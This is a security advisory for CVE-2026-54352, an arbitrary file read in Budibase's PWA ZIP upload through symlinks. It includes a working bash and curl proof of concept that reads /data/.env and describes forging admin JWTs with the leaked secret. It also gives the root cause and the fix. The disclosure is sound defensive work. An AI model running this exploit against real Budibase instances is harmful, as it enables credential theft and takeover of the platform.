critical · 9.6CVE-2026-54352Jun 26, 2026

CVE-2026-54352: @budibase/server Arbitrary File Read via PWA ZIP Symlink

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any workspace builder on a self-hosted Budibase instance can upload a crafted ZIP file containing a symlink to read any file the server process can open, including the .env file that holds every…

Package@budibase/server
Ecosystemnpm
Affected< 3.39.9
Fixed in3.39.9

The problem

The PWA ZIP upload endpoint (POST /api/pwa/process-zip) extracts attacker-supplied archives with extract-zip@2.0.1, which preserves absolute symlink targets verbatim. The icon-path validator then resolves the symlink name against the temp directory, passes the startsWith(baseDir) string check (the name lives under baseDir), and calls fs.existsSync which follows the symlink to confirm the target exists.

All three checks operate on strings or link-following syscalls, so a symlink stored at baseDir/evil.png pointing to /data/.env passes every gate. The object-store writer then calls fsp.open(path).createReadStream(), which also follows the symlink, and the target file's bytes land in MinIO.

A subsequent GET /api/assets/{appId}/pwa/{uuid}.png returns those bytes to the attacker verbatim.

The default Docker image runs the Node process as root, so the read primitive reaches /data/.env (JWT_SECRET, INTERNAL_API_KEY, MINIO credentials, COUCHDB_PASSWORD, REDIS_PASSWORD), /etc/shadow, and every other root-readable path. A leaked JWT_SECRET lets the attacker forge HS256 JWTs for any user, including the global admin, escalating from builder to full platform owner.

Proof of concept

A working proof-of-concept for CVE-2026-54352 in @budibase/server, with the exact payload below.

bash
# Step 1: build the malicious ZIP (symlink -> /data/.env)
mkdir attack && cd attack
ln -s /data/.env evil.png
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
zip -y attack.zip icons.json evil.png

# Step 2: upload to the PWA endpoint (cookie + CSRF from GET /api/global/self)
curl -s "http://localhost:10000/api/pwa/process-zip" \
  -b cookies.txt \
  -H "x-budibase-app-id: <appId>" \
  -H "x-csrf-token: <CSRF>" \
  -F "file=@attack.zip"
# Response: {"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png",...}]}

# Step 3: fetch the stored "icon" to read the target file
curl -s "http://localhost:10000/api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png" \
  -b cookies.txt
# Response body is byte-identical to /data/.env

The root cause is that every check in the icon-path validator operates on string paths or link-following calls. path.resolve + startsWith(baseDir + sep) only compares strings, so a symlink whose *name* lives under baseDir passes regardless of where its *target* points. fs.existsSync and fsp.open both follow symlinks by default, so neither detects the indirection.

CWE-59 (link following) is the precise flaw.

The patch in 3.39.9 adds an explicit symlink check using fs.lstatSync(resolvedSrc) (which does *not* follow symlinks) and rejects any entry where stats.isSymbolicLink() returns true before the file is opened. This breaks the chain at the validation step without changing the broader extraction logic.

The fix

Upgrade @budibase/server to 3.39.9 or later. The fix adds a fs.lstatSync check that calls stats.isSymbolicLink() on each resolved icon path and rejects symlinks before fsp.open is reached. As a secondary hardening measure, run the Budibase container as a non-root user so that even a bypass cannot reach /etc/shadow or other root-only files.

Rotate all secrets (JWT_SECRET, INTERNAL_API_KEY, MINIO_*, COUCHDB_PASSWORD, REDIS_PASSWORD) if you cannot rule out exploitation on an affected instance.

Reported by Jan Kahmen (turingpoint).

References: [1][2]

Related research